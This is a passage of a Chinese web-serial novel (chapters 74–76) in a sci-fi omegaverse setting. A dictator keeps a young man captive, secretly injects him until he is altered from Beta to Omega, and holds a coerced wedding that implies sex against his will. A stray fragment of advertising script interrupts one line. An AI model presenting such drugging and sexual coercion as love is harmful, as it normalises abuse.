林诺咬着牙找了一圈,直接拆了床头降温器的背板,从中拔出棱角锋利的芯片来,并等到恺撒端着退烧药和水进来时,暴起直取他的喉咙。 又一场血淋淋的斗殴,又一次死循环。 没有哪怕一条路,再能通往少年向他跑来的那座舰桥。 恺撒将林诺骨折的手腕按在行军床上时,他自己的肋骨也断了两根。 那种特制的易感药物已经不能再用,否则林诺总有一天会坏掉。 可是除了药物控制,他竟然已经没有任何一种办法,能再让林诺愿意仰起脑袋回应亲吻,然后轻轻地在他耳边说爱他。 已经没有任何办法了。 已经没有…… “到底怎样才能完全属于我?” 恺撒说。冰凉的皮革手套触上林诺后颈,似掌握,似摩挲。 他说这句话的时候,林诺是被铐在行军床上的。 虽然没有药物,但天赋异禀的身体,很容易将痛苦和欢愉都深深刻印。 他们对彼此的身体都太熟悉,每次恺撒只要朝他的腿间低头,林诺的脚趾就会开始微微蜷紧,大腿也会因即将到来的一切颤抖。 “这么多次,为什么一点气味都没留下?” 恺撒用鼻尖摩挲着林诺,义眼微闭着, “这实在不应该。如果小猫能被我标记,就不会跟我分手了。如果小猫不跟我分手,林成彬就不会找到你,你永远不会知道暴风眼计划,我们也不会走到今天……” 林诺的脑袋后仰在枕头上,黑发凌乱地散着。有些落在枕头上,有些纠缠在恺撒的皮革手套里。 他已经数不清这是第几天,只知道恺撒大概率又在发疯。而面对一个疯子,任何有逻辑的争吵都是浪费口舌。 于是,他在恺撒手掌里冷笑起来,说: “Beta从来没有终身标记的说法,你不知道吗?我们从来都是能处就处,不能处就干脆分手的。我甚至给你写过信解释,而你大概率是看两眼就撕掉了吧。” 他说这句话时,是想要恺撒知道他们从第二性开始就不匹配,以免在他为了小叔、为了瑞安·亚历山大、为南境和过去种种想要恺撒的命时,Alpha还在那鬼打门似的絮叨什么爱情、什么分手。 但当他说完这句话,就见恺撒低暗的义眼中,陡然闪过一道极可怕的亮光。 恺撒从他胸前抬起眸,注视了他好一会儿,然后突然像是在绝路中得到答案,很愉快地笑了。 “小猫,你的聪明脑瓜总是远超我的预料。” 恺撒微笑着说,“没错,这就是一切的起源,是酿成今天的罪魁祸首——而你知道吗?Alpha是不会这样谈恋爱的。” 74.第 74 章 就从那一天起。 林诺的囚室开始频繁有医官到访。 要知道,恺撒已经把囚室所在的整层区域都清空了,别说活人,连机器人都别想碰到林诺一根头发。 这些医官们来去匆匆,给林诺做一些他完全看不懂的身体检查,然后再以绝对恭敬的姿态退出,连一丝目光也不会落在林诺脸上。 紧接着一周后,恺撒把他抱在腿上,手指撩起他微长的黑色发尾,像哄小孩似的低声哄: “小猫,要打针了。嘘……别害怕,不会很疼的。” 林诺的手被反绑着,只能像个布偶一样趴在恺撒肩上。 搭在男人腿侧的双腿,在针尖刺进后颈时,轻微地发着颤夹紧。 恺撒感觉到了。他反复摩挲着林诺的后背和腰,钻进耳廓的嗓音更加温柔: “马上不疼了。乖小猫,你很勇敢的,对不对?” 左右不过又是恺撒弄的那些药水,林诺咬紧牙根,无声忍耐下来。 恺撒要是真有种,就把他的脑子弄坏,他心想,只要他脑子一天没被弄坏,他就会找一切时机刺杀恺撒,直到成功为止。 但是医官离开后,以往的热潮却没有如约而来。 除了腺体处有轻微的胀痛,一切如常。 恺撒轻轻揉着他的后颈,把那点胀痛也按摩得无影无踪,这才蹭着林诺的侧脸,轻声呢喃: “好期待小猫的变化。一定会更加可爱的。” 林诺发现,他是真的在开心。 那股欣喜感忍不住似的,要从无机质的义眼里满溢出来。 而通常恺撒的快乐,对他就意味着更大的磨难。 林诺心里警钟长鸣,可他当下又的确猜不出Alpha到底想干什么。 医官们每隔三天来一次,做例行身体检查,并再次往林诺的腺体注射不明药物。 不需要检查的日子,恺撒也不会再像之前那样没日没夜地折弄他。 他常常来囚室里看书办公,弄得像林诺住了个双人牢房,不过除了早安和晚安吻,恺撒不会再对他有进一步的亲密行为。 偶尔他还会把林诺带到指挥舰的顶舱,两手从背后交握着林诺的手,让他看激烈精彩的太空战争。 他不得不让林诺继续戴着镣铐——因为上回在指挥室给林诺松绑时,林诺用一支笔废了他的一只义眼。 “小猫一直都是喜欢看打仗的。对不对?” 恺撒在他耳边低沉道,“那我就打仗给你看。保证比战术视窗的博主还要精彩。” 林诺此刻没有任何信息来源,他不知道恺撒的对面阵营是谁,那些像烟花一样湮灭的舰队又属于谁。 直到三年过后,他流落外太阳系,才明白联邦的内战,其实早就从那时开始。 恺撒悍然屠杀南境,以及后续一系列强硬政策,让士兵大多由南境出身的第七舰队叛乱,在外太阳系宣布成立独立政权。 紧接着还有因恐惧出逃的平民,在得到联合矿业财团的军火支持后,也组建起了人民自卫军,抵抗恺撒的独裁政权。 以及除了被埋葬在前线的里埃尔将军和14万军士,联邦原本还有两支大型远征舰队在外征战,此前是倒向恺撒一侧的。 但当他们发现恺撒对联邦的掌控程度,似乎并没有初期想象中那样彻底,加上军粮充足、山高水远,于是也有了自己的小心思,想混一个星系领主来当。 整个太阳系乱成一锅粥,人类文明开始往分崩离析的方向发展。 恺撒最初的“将联邦作为一个整体改造为帝国”的蓝图,由此全部化为泡影。 但他倒是不显得急躁。 握着林诺的手“看打仗”时,恺撒脸上透出一种压抑不住的嗜血感和兴奋来,对耳麦里的参谋说: “……也好。一个在滚滚血火中建立的帝国,与一个只在宪法上承认的帝国相比,后者总是显得过于平庸。” 不用“看打仗”的时候,恺撒会带林诺返回他的空中庄园。 庄园本就搭载在母舰上,在军队附近停泊倒也很自然。 在这段囚禁生涯里,林诺甚至有时会对恺撒这个人感到佩服—— 他就像一刀把他们之间的血海深仇全剪了,将林诺逃离庄园、到被他抓获的部分,删得干干净净,然后泰然自若地续上他们之间最甜蜜的时候。 除了不再有亲密行为,他对林诺的拥抱、亲吻、甜言蜜语都没有停过。 每三天一次的身体检查和注射也在继续。 当林诺被按着后脑接受注射时,鼻息间嗅到了很淡的、苦辣的Alpha信息素。 这确实有点奇怪。 因为自从抓到林诺以来,恺撒就没有再喷过他那臭死人的信息素香水了。 现在既然又能闻到,莫不是说明恺撒最近心情太好,又开始喷了? 林诺用力将头扭开,差点让针尖都折断在皮肉里,把医官吓得险些跪地求饶。 但恺撒却没有发作,反倒朝医官们轻轻摆摆手,让他们安静退下。 他拨着林诺的黑发,将少年后颈上那点渗出的血珠吮走,然后低哑地问:“小猫已经能闻到了吗?” 林诺眼神跟着往外撤的医疗托盘走,在想上面有多少趁手的武器,并没有功夫搭理他。 但恺撒双手捧着他的臀,灰色的义眼垂下来紧盯住他,又低笑着、自语着确认一遍: “小猫能闻到了。” 信息素“香水”的味道日渐浓郁。 林诺蹙着眉,总觉得跟此前的香水味不太一样。 香水直接刺激的是鼻腔,要是恺撒不小心喷得太多,那股苦辣味会从鼻腔直冲脑门,呛得林诺一个接一个打喷嚏。 可是现在,苦辣如酒的气息就像是从毛孔渗进来的,比起“气味”,更接近一种类似小猫一激灵的“感觉”,林诺甚至试着偷偷屏住呼吸,可只要跟恺撒处在同一空间,这种感觉就无法消散。 “……你给我注射的是什么?” 林诺终于开口逼问他。 他的逼问是物理意义上的逼问,趁恺撒睡觉时——鬼知道为什么他们已经变成这样的关系,他还能在自己身边呼呼大睡——骑住对方脖子,用一把磨尖的螺丝刀对准他的喉咙。 恺撒被他骑着,多少有些呼吸不畅,但脸上还是那种让林诺痛恨至极的温和微笑。 他摩挲一会儿少年衣摆下的大腿,义眼抬起来看他,笑了半天,就吐出两个字:“你猜。” 螺丝刀立刻往皮下深入两寸。 尔后,林诺只觉得一阵强烈的“感觉”袭来—— 这种感觉实在很难形容,感官以嗅觉为主导,但大脑所有神经都在颤栗着回应,好像连他毕生信赖的身体,都成了最大的背叛者。 一阵无言的眩晕过后,染血的螺丝刀骨碌碌滚落床边,林诺已经被Alpha反扣在枕头上,迎接非常缠绵的深吻。 “我早说过我们是天生一对。” 恺撒低语,表情很快乐,因为喉管破了个洞,讲话还往外漏风, “这么高的匹配度,可不是科技就能促成的,否则调查局早该往军部送来大批Omega了。你生下来就属于我,命中注定就该是我的小猫。承认这一点吧。” “匹配度”这个词,对林诺来说非常陌生,不管他的成长环境还是教育,都不会出现必须了解这个词的情景。 但“Omega”这个名词,只要是二次分化过的人都会听懂,林诺盯着他的义眼,脸色一点点变白了。 “你不可能……”他说。 他整个人都僵硬在那,任由恺撒啄吻他的嘴唇的脖颈,大脑一片空白。 林诺没有把那个答案说出来,就像不说出来,就不会成真。 但在三天后医官又来给他注射药物,他爆发出空前激烈的反抗,把托盘里所有药剂都打翻,还把医官都推搡在地。 “怎么乱打医生?小猫别闹了。” 恺撒蹙着眉,把林诺两只手都抓在怀里。 他给医官们递了个眼神,医官们立刻收拾好狼藉,快速退出房间, “没有什么可害怕的。我会很小心,循序渐进地来,不会伤害到你的身体。再过几天,小猫就有自己的信息素味道了。” “……我不愿意!!我是Beta,永远不会变成Om (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ega!!” 林诺嘶声暴吼,他真不想再在恺撒面前落泪了,可是巨大的绝望和窒息感,还是劈头盖脸打翻了他。 他用力抓挠着后颈的腺体,简直要把它整个剜下来似的。 但恺撒神情一紧,先一步抓住他的手腕,开始释放安抚的S级信息素: “别怕……慢慢就能适应的。我会一直陪着你……” 林诺又一次被自己的身体背叛了。 医官没敢再来,但改变已经在发生。 每一天醒来,他对恺撒信息素的“感觉”就愈发明显,那是一种完全违背理智、违背他19年来Beta本能的诡异玩意,让他不自觉对安抚他的Alpha产生依赖感。 而通常来说,匹配度极高的AO之间,依赖感永远是双向的。 恺撒也总是在捧着少年的脸亲吻半天后,才惊觉已经过了好几小时,林诺的嘴唇都已经肿了。 ……虽然从前他也常常这样吸林诺,可是跟现在的沉迷程度相比起来,简直就是小巫见大巫。 这种危险的双向依存,还险些送了他俩的命。 当叛军一炮打飞了空中庄园的屋顶,恺撒才意识到紧急频道已经响彻天际。 “……我倒是真没有预想到这个。” 恺撒一边给自己打抑制剂,一边对医官讲述改造进程。 但脸上的表情除了头疼,还有一种近似炫耀的幸福感。 灵魂里所有的焦渴都被满足,生命中所有的空洞都被充填,他有生以来头一次觉得对宇宙充满感恩,甚至连把他生在脏水沟的母亲,都得到了重大感谢—— 因为他真有可能是为了等到这一刻才出生的。 回到庄园,小机器人在哐哐地修被打飞的屋顶,恺撒在别墅入口的冥炎处驻足,仰头望向二层栏杆上的林诺,对他伸出手臂: “不要再那样做了。你不是还要杀了我给林成彬报仇吗?他死得那样惨,你都忘了吗?来,宝宝小猫……来我这里。” 他有意站在原地不动,一边练习自己的克制力,一边持续不断地释放S级信息素。 然后,林诺从栏杆上下来,一步一步沿着阶梯下楼,带着一身甘美非凡的小猫味,一头扎进他的怀抱里。 当然一块扎进来的,还有一把不知什么时候被藏起来的水果刀。 恺撒为此在皮革手套和军装里,都加了很厚的防割层。 他一手捧着少年的脸接吻,一手死死握住刀尖,直到让刀尖方向偏离心脏,扎到胳膊上为止。 而既然没扎到心脏,那就笑一笑算了。 “今天腺体和孕囊还疼吗?” 恺撒低声问,反复摩挲着林诺的耳根, “我去杀了几个星盗头子,拿到了据说最好的止疼药。是纯植物提取的,对人体没什么副作用。” “我一定会杀了你,恺撒。” 林诺的唇瓣还延着银丝,他的身体已经不能抗拒Alpha的接触和亲吻,因此嘴唇总被吻得靡软红肿,但从这张唇里吐出的,全是森冷的恨意。 “我会杀了你,把你丢到远离联邦的荒星,让星兽吃掉你的尸体。” “我提前打过抑制剂。像上次那样危险的事,不会再发生了。” 恺撒低声道,鼻尖轻触着他的鼻尖, “今天有想过我吗?说你想见我,好孩子。” “或者丢到星盗集团的甲板上去。” 林诺接着说,“想必他们会剥掉你的皮,剔了你的骨,然后挂在机甲上绕太阳系巡场。” “好乖。” 恺撒闭上眼,亲了一口林诺的鼻尖,皮革手套沿着手腕摸下去,扣住林诺的十指, “医官说你不久后会迎来第一次易感期。我得早点做准备,别让不长眼的叛军过来煞风景。” “……” 林诺像是突然噎住了。 他的下颌线条颤抖着绷紧,喉结滚动着,咽下一口满是尖刺的唾沫。 “我想,我可以去准备我们的婚礼。” 恺撒睁开眼,无感情的金属眼珠表面,只映出少年的黑瞳,“这件事也该提上日程了。你觉得呢?” 75.第 75 章 “当——” 钟声敲响。 还在奥林匹斯山下跪拜的信徒们,茫然地抬起头,看向空中。 庄园母舰是隐形的,他们当然看不见圣殿上方的庞然巨物。 只能看见布满阴霾的天空,以及不知道从哪里飘下来的玫瑰花瓣。 ……林诺早该知道,自从他被恺撒俘获开始,他就不该再轻视恺撒的任何一句疯话。 在第三行星联邦,无论是否德尔斐信徒,一场公认规格最高的婚礼,就是由红衣主教主持,并在圣殿上方的圣光中进行。 林诺100%确定恺撒不信教,甚至是会嘲讽圣子有几个师的那种人。但不知道怎么的,在将近一个月兴致勃勃的筹划过后,恺撒最终把婚礼地点定在德尔斐圣殿的上空。 “他们都说以圣殿规格举办过婚礼的人,命运将纠葛终生。” 恺撒抱着林诺的腰,很认真地钻研德尔斐圣经。 圣经是新买的,塑封锃亮,跟信徒舍友们从小翻得破破烂烂的圣经完全不一样。 “在这里举办过婚礼的人可不仅只有信徒。政客、明星……连最薄情寡义的群体都能长相厮守,这说明所谓的圣光,或许是真的有点东西。” 银发男人这个月的心情一直很好,还抽空击溃了叛变的第六舰队,把第六舰队指挥官的头挂到白堡门柱上。 他一边翻阅圣经,一边轻声把一些重要句子读给林诺听,偶尔偏头亲吻林诺的后颈。 要是忽略林诺手脚上的镣铐,这一幕还真像一对正在准备婚礼的甜蜜恋人。 林诺已经快有三周没再开口说话。 随着预测中的“易感期”越来越近,他的身体最终彻底背叛了他。 无论身体本能还是情绪,他对恺撒信息素的反应正在变得越发强烈,对学术界“Alpha和Omega究竟是人类的进化还是退化”的争论,也开始理解得越来越透彻。 他曾经是个可以全凭理智支配行动的Beta,偶尔看见甩着牛牛狂追Omega的Alpha,或者身陷虐恋、却不知为何就是不离开的Omega,都只会默默给他们让路,并露出茫然神色。 然而如今,他会在醒来时发现自己趴睡在恺撒胸口,哪怕入睡前,他已经把自己挂在床沿上; 他会在恺撒出门时罹患分离焦虑,这种焦虑甚至会让他手指发抖,无法专心磨出一把带血槽的棱刺。 直到恺撒打完仗赶回来,把他紧紧抱进怀里亲吻为止。 所以这就是所有Alpha认知中的“爱”吗? 他心想。 用野兽般的嗅探本能、信息素和匹配度,将肉丨体和灵魂牢牢栓在一起,直到连彼此的血肉都融合黏结,成为一团纠缠不清的怪异生物,再也分不清谁是谁。 但他永远不会再去跟恺撒探讨这些。 有时望着镜中的自己,他偶尔还会觉得很想吐。 曾经作为一个骄傲个体的“林诺”,好像突然有一天感染了外星病毒,从被反复扣紧的指尖,被缓慢厮磨的唇肉,被不断含吮的耳垂开始,一点一点被另一个人入侵,直到变成一个既不像“林诺”、也不像“恺撒”的东西。 说不出是幸运还是不幸。这种只有在清醒时才能感到的痛苦,也正在一点点被向下堕落的快乐吞噬。 尤其恺撒总在一边观察他的反应,一边不断精进引诱技巧,并且成功在婚礼前夜,从林诺发软的唇舌间,骗出了那句“我也爱你”。 “……” 恺撒和林诺都像是一瞬间惊醒了。 只是两人的反应十分迥异。恺撒骤然把林诺的后脑压近,义眼里迸发灼亮的光: “……再说一遍。再说一遍,我的好小猫……再说一遍给我听。” 而林诺的反应,是照脸给了一拳。 在接下来的激烈斗殴中,他不慎爆发出信息素风暴,把恺撒也拖进了易感期。 “——我会在婚礼上永久标记你,林诺。” 恺撒眼疾手快,先给自己扎了一针抑制剂,才勉强延后了一点时间。 他把没用完的抑制剂丢出窗外,不让林诺抓到,然后把少年的脸按进怀里,沙哑而愉悦地附耳低语: “从那一刻起,你就会成为完全属于我的Omega。不会再有任何人、任何事物把你从我身边夺走,林成彬不能,你的点头之交学长不能,即便连我自己都不能。你生来就注定是我的君后,戴着小猫皇冠坐在我身边,陪伴我从帝国诞生到宇宙寂灭。我们会有很多很多孩子,有的像我,有的像你,我会把长得最像你的那个捧上王座,让ta延续我们的血脉……” 所谓“婚礼”,也像一场混乱荒诞的梦。 铺满花瓣的庄园没有宾客,圣殿钟声经久不息,但长毯尽头,却竟然真的杵着手捧圣经的红衣主教。 在信徒舍友的传教影像里,他们看起来高高在上、睥睨众人,而在恺撒面前,这些主教却微微躬着腰,尽量自持地向他解释: “……圣殿无法让圣子殿下参与到私人婚礼中。这是有违原教典的,请您原谅,执政官大人。但作为替代,我们可以让神侍为您和您的爱人祝祷。这些神侍贴身侍奉圣子殿下,他们在德尔斐的地位,也只是仅次于圣子殿下而已。” 恺撒往远处看了一眼。神侍们戴着红色的宽大兜帽,兜帽下的双眼双耳,居然是被缝死的,只留下口鼻呼吸和歌唱,看起来非常可怖。 他嫌恶地说:“叫他们戴面具。太丑了,会让我的恋人心情不悦。” “当然如您所愿,执政官大人。” 林诺被机器管家搀扶着,蹒跚踏上长毯。 他赤着脚,不得不把一半重心放在机器人身上,白袍下面滴滴答答,淌湿了一路的玫瑰花瓣。 他没能抢到抑制剂,于是被首次易感期折磨到今天。只觉得每一步都像踩在泥泞的沼泽里,沼泽还似乎会伸出无数引诱的舌头,不断舔舐他的脚心和趾缝。 “以德尔斐之名,众神注视,圣光见证恺撒·卡厄西斯与林诺……” 红衣主教被下令背对林诺,低声念诵圣经。 无眼无耳的神侍则在更远处,颂唱只为圣子献上的圣歌。 林诺竭尽全力地挪着腿,湿透的黑发遮过眉眼,眼神却始终倔强。但终究事与愿违。 他软倒在距离恺撒仅半米的地方,藏在衣袖里的棱刺,也掉落在湿濡的花瓣间。 “是给我的新婚礼物吗?谢谢小猫。” 恺撒一把接住他,还把棱刺也捡了回来,温柔亲吻他湿透的额头, “我知道这很不好受。我也在忍耐……但至少要交换过戒指才行。” 无名指被冰冷的金属环拴住时,林诺已经基本没有什么自我意识了。 红衣主教带着神侍落荒而逃,被无人飞艇快速送离庄园。 花瓣雨越来越急,几乎要把他彻底掩埋。 少年向后堕入玫瑰色的沼泽,如溺水者一样挣动四肢,最终无意识抓住了Alpha肌肉坚硬的手臂。 迷蒙间,花瓣落在耳际的簌簌细响,隐约变成了赛场喝彩的人声。 接连多日的艰难对抗后,林诺第一次发出了悲戚的喃喃: “……别……永久标记我……我想要……我想要成为、联邦最好的……机甲师……我的精神力……我不是Omega……” 银发男人在他上方看着他,眉眼间隐约掠过一丝晦暗。 但他并没有迟疑太久。 手掌沿着少年腿侧撩起白袍时,恺撒低头触着林诺的鼻尖,用一种惋惜、爱怜的低沉语调,轻轻告诉他: “很抱歉,宝宝小猫。那或许……真的很难实现了。” *** 碍于林诺当前假死的身份,这场婚事并未向很多人公开。 只有接管调查局的警卫队和参谋团,才会知道恺撒·卡厄西斯的档案里多了个“已婚”。 七天过后,精神抖擞的银发执政官来到圣殿。 当面答谢红衣主教的同时,顺带对独裁政权和德尔斐教派的合作,进行第23次秘密商榷。 在长达两千年的联邦时代,德尔斐圣殿一直在宗教界处主流地位,信徒众多,势力庞大。 但碍于联邦奉行的宗教多元政策,除去德尔斐圣殿,太阳系还有诸多大大小小的教派百花齐放,越远离圣殿中心,宗教思想的掌控力就越薄弱。 恺撒身穿圣袍,没有携带任何武器,沿圣殿洁白的石阶上行。 行到一半,一队身着古地球盔甲、手持光盾的重装骑士拦住了他。 这些骑士均为A级以上Alpha,身形高大强悍,杀气腾腾。 他们的光盾和胸甲上,都刻印着某种缠绕的白色藤蔓。 “在这里等我,杜兰德。” 恺撒摆摆手,让自己的警卫队驻足。 见状,圣殿骑士团才朝两侧让开,跟随恺撒拾级而上。 “我对人类文明终将驶向创生之柱这一点深信不疑。你们会合法拥有我的军队,我的声望,我的信任和期望,以清除异端为己任,带领全人类成为众神的信徒。倒不如说,正是为了这一天,我才选择成为联邦的首席执政官……” 恺撒在几名大主教前闲庭阔步,进行第23次激情澎拜的游说。 人逢喜事精神爽,或许是无名指上刻有爱人名字的婚戒加持,他这次游说比以往任何一次都要顺利。 已经被买通的红衣主教,趁机窃窃私语,怂恿大主教作出最后抉择。 最终,通往圣坛的大门开 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“您一周前刚参加过我的婚礼。对一个已经拥有配偶的Alpha来说,这句话非常冒犯。” 如果杜兰德在场,他就知道这是恺撒今天第6回主动提起“一个拥有配偶的Alpha……”云云。 但红衣主教们似乎仍沉浸在震撼中。窃窃私语半晌,最后有人低声道:“或许这支血脉,真的指向预言中的‘命定之人’……” 圣坛更深处的密门开启,“圣殿工程”的秘密,自此曝光在恺撒眼前。 一言以概之,德尔斐圣子在第一次虫族战争中,与人类并肩作战,并提供了数不胜数的高等生物基因,使人类获得了足以抵御虫族的精神力。 但是当战争结束,祂却被联邦政府秘密谋害,失去智力和战斗力,并秘密监禁在此,成为德尔斐圣殿的宗教吉祥物。 如果是虔诚的德尔斐信徒,在这一秒就会理智崩溃,当场发疯。 但恺撒似乎并不对联邦政府的作为感到惊讶。 他翻阅着“获取精神力”、“基因改造”等资料,义眼映满密室里的幽光,似乎获得了某种灵感。 圣殿骑士团紧随着他,一遍一遍低沉警告:“汝将不得以任何形式告知第二人!一旦汝敢泄露机密,吾等会追杀汝和被泄密者至宇宙边陲,不死不休!” 恺撒说:“当然。我将誓死保密。” 他离开密室,返回圣殿的洁白石阶前,乘坐飞艇回到与新婚伴侣的爱巢,一切如常。 恺撒的确没有向任何人吐露“圣殿工程”的秘密,但那天过后,两座深藏地下的秘密实验室,却在距离德尔斐圣殿约五十公里建成。 两座实验室各执行一项独立任务,并且互不知情。 实验小组全部由调查局被俘的科研人员组成,包括家眷一并送往地下。 A组接领的研究任务,是“精神力基因匹配与移植”,B组接领的研究任务,则是“优化提供者基因、数值高于10000的精神力供体”。 显而易见,在联邦当前的科技水准下,B组的任务相对A组要简单太多。改造人技术早已成熟,但由于道德伦理问题,被联邦宪法严令禁止。 然而令人啼笑皆非的是,根据“圣殿工程”,所有拥有精神力基因的人类,其实都是两千年前的改造战士后代。 既然德尔斐圣子能够给人类提供精神力,就说明这种基因实质上是能被转移的。 不过鉴于跟圣殿的合作关系,把圣子押进实验室似乎很不礼貌,只能另辟蹊径,从自己身上提取基因制造供体。 恺撒摩挲着林诺光洁如新的指腹,摸着摸着,又俯身深吸林诺身上的气味。 可能是从Beta改造而来的缘故,林诺的信息素一直不像真正的Omega那样浓郁,是一种很淡的甘美皂香,闻起来总是清澈干净,暖融融的,是他非常沉迷的小猫味。 不过现在,小猫味已经被苦辣的Alpha信息素彻底侵染,这点倒偶尔会让恺撒感到纠结懊悔。 他如今填补了灵魂的空缺,如果再能弥补过去的缺憾,人生就将彻底圆满。或许针对南境林家的通缉令,也可以就此撤下。 “元帅,以调查局科研人员的技术水平,精神力供体会比精神力移植技术更早完成。” 负责监视实验室的军方人员,在耳麦里向他报告, “A组的精神力移植课题,需要攻破大量技术难关,也有非常大的失败风险。如果A组任务正式宣告失败,我们如何处理B组及精神力供体?” “我不认为这需要提问。”恺撒用很低的音量回答,给怀里的林诺拉上被子,“一并处决即可。” 76.第 76 章 联邦历2952年。 金星环城背面的机甲实验场,迎来了特殊访客。 在接待这对访客前,所有年初刚进入实验场的新人,都被紧急集合培训。 其中就包括刚从中央军校毕业的见习机械师——盖勒·伦恩。 盖勒从培训中得知,即将到访的,是已经统治联邦3年的首席执政官大人,以及他轻易不会露面的Omega配偶。 前辈们反复叮嘱这批新人:“少看,少听,少出声。” 随着数艘舰队入港,实验场的全体人员都来到港口,准备迎接执政官和他的配偶。 盖勒跟其他的新人一起,被放在迎接队伍的后排。 飞艇缓缓降落,港口扬起滚滚的烟尘。在去年被命名为“狼骑军团”的执政官警备队,先一步走下飞艇。 紧接着中间的舰桥升起,有两个人的脚步声,从舰桥向机甲实验场入口渐近。 “向您问好。执政官大人。” 前排的地勤人员后撤半步,单膝跪地行礼。 即便已经不是第1次,但他们的动作略显生疏。 毕竟在不久前,联邦军人间的通用礼还是抬手致敬。 于是,盖勒也跟着笨拙地屈膝,让右侧膝头触在地上。 狼骑的金属战靴在他眼底走过,紧接着,就是两双一前一后的黑色军靴。 实在按捺不住好奇,盖勒忘了前辈们的叮嘱,偷摸往上抬了抬眼,目光上移至对方腰间。 很显然,执政官和他的Omega恩爱非凡。 他们穿着同款军靴,同款军裤,同款皮革腰带,就连左肩上摇曳的黑底银边斗篷,都是一模一样的情侣款。 斗篷在行进时偶尔翻飞,露出两人交握在一起的手。 漆黑的皮革手套里,紧紧攥着一只骨节修长的冷白手掌,两人的无名指上,都戴有锃亮的婚戒。 盖勒晃了晃眼,却隐约看见那只被攥住的手掌,似乎用力在转着手腕挣脱。 但翻起的斗篷很快落下,将两只手都遮住了。 “诸位辛苦。” 银发执政官道,微笑着让他们站起, “这只是一次私人拜访。请大家无需过多在意,按照往常工作即可。” 根据培训里的内容,执政官夫夫似乎经常会来实验场试驾新机。 可他们一个是精神力被毁的前元帅,一个是理论上没有精神力的Omega,盖勒不知道是谁会上机驾驶。 答案很快揭晓。 一位地勤前辈操纵吊锤,吊来一架最新型号机甲,并让机甲垂下头颅,朝登陆平台探出通往驾驶舱的舰桥。 旁边一位前辈潜过来拍拍他,低声道: “刚刚得到消息,今天负责介绍机型的顾问因病请假了。你参与过新机的研发进程,马上上去顶替他。记住,只介绍机甲,多余的话一句也不要说。” 于是盖勒穿过人群,跟在一队狼骑后方,小心翼翼走上登陆平台。 在调试通讯器时,他看见执政官身边的黑发青年动了动,准备去爬伸过来的舰桥,这才恍然大悟—— 要试驾的人,竟然是执政官的Omega。 或许是紧张,或许是对新机高度不太熟悉,从驾驶舱伸出的舰桥,比登陆平台高出一截。 虽然黑发青年身高腿长,但还是很难够到。 地勤急得满头大汗,却怎么也没法让舰桥降下来。 银发执政官倒是没有生气,挥退几个想帮忙垫脚的地勤,自己上前握住黑发青年的腰,应该是想把他举起来送上去。 “唰啦。” 一阵很响的衣料摩擦声,像是黑发青年突然拂开了他的手。 几个没来得及退下的地勤前辈,当下赶紧低头,假装什么也没看见。 盖勒也跟着低头,但他离舰桥更近,隔着一队狼骑,他听见了执政官跟配偶的喁喁低语。 是一些类似“有外人”、“留点面子”之类的无奈语句。 不过黑发青年置若罔闻。 他背对着众人,依然在反复去够那座舰桥。 最后,银发执政官不得不挽起斗篷,屈膝蹲跪下去,好让对方踩着自己的肩膀去够。 黑发青年则毫不客气,一脚踩住他的肩,借着对方站起的力,攀到舰桥上去了。 盖勒偷看着他们背影,心里颇有些叹为观止。 恺撒·卡厄西斯一上台,整个联邦就堕入腥风血雨之中。 他在执政官生涯时,与先前的亲民元帅形象差别巨大,这让很多当初为了祭奠“诺神”给他投票的公民,都恨不得穿回过去剁下自己的手。 不过平心而论,当初未能逃出联邦的绝大多数人、包括他,其实日子倒也过得下去,甚至比旧政府统治时活得滋润一些。 但也只能说是滋润“一些”了。 虽然三年来就业率翻倍增长,垄断财阀也被毫不留情地清算,可实质民生水平,其实并没能提升太多——巨额的税金、清算财产流向军费,军队不断扩充,以“宙斯边界”“波塞冬边界”两大前线为主的联邦内战,一刻也没有停息。 人民因近在咫尺的战乱恐惧,恐惧又促使他们不得不牢牢绑定在恺撒·卡厄西斯身边,希望自己对新政权的忠诚,可以换回军队的庇护。 与此同时,德尔斐的宗教影响力正在恺撒·卡厄西斯的扶持下空前扩张,从思想层面对民众施加控制,最终让第三行星联邦的核心——地球,成为一座无法被攻破的堡垒。 黑发青年已经进入驾驶舱。盖勒连忙连上通讯器,向他介绍新型机甲的特色、驾驶要点,以及几次机甲测试的结果。 虽然没有视讯连接,但他莫名觉得对方听得很认真。 一切准备就绪,怀揣着“Omega能开机甲吗?”的疑问,盖勒示意地勤,准备开始测试。 庞大的新型机甲缓缓站立。 它的眼灯低垂,隔着数层测试场防护盾,盯了一会儿登陆台上的恺撒。 紧接着,它用手扶着测试场的边缘,慢慢转身,开始试着蹒跚走动。 那真是一副令人尴尬的景象。 在场所有机械师都来自各大名校,每年都能在机甲联赛上看见车载斗量的天才机甲师,更别提当年所有Beta的骄傲、陨落前的“诺神”。 可是现在,他们却只能眼睁睁看着测试场上的机甲,像个滑稽的小丑般东倒西歪。 它甚至连快走两步都做不到,眼灯因不稳定的精神力闪烁着,两只机械臂把模拟光刃拖在地上,屡次像要艰难举起,却最终只把机身带得仰翻过去。 在它又一次自己让自己仰翻在地时,盖勒实在没有忍住。 “……扑哧。” 他喷笑出声。 可环顾四周的机械师前辈们,却发现他们的面色凝重,没一个像他这样忍俊不禁。 紧接着,盖勒又突然发现,自己跟驾驶舱相连的通讯频道并没有关,吓得他魂飞魄散,赶忙把频道关掉了。 机甲静静地躺在测试场上。 那声很轻的嗤笑传进驾驶舱,但它没有任何动作,比正常驾驶状态更暗的眼灯,映着场地上方一排排的照射灯。 没有人知道这一刻的机甲师在想什么。 只是过了一会儿,它又隆隆地爬起来了。 或许是精神力质量不高的原因,机甲连平稳行走都显得很困难,时而需要用机械爪稳住重心,时而甚至近似是在爬行。 一整个下午,它只是在机械地绕场活动,姿势很难看,但依旧倔强地坚持着,看起来像个正在做康复训练的重伤病人。 “这款机甲没有达到我的预期。” 恺撒对身边的机械师主管淡淡说, “应该还有把精神力驱动下限改得更低的空间,好让我的配偶也能享受驾驶机甲的快乐。” “谨遵您的意愿,执政官大人。我们会竭力投入研发。” 这场闹剧持续了一个下午。 当盖勒正式将此定义为“执政官家里的Omega娇妻闹着要学机甲,于是实验场全体加班给他定制机甲玩具”的行为艺术时,场内的机甲,终于在又一次跌倒后停下来了。

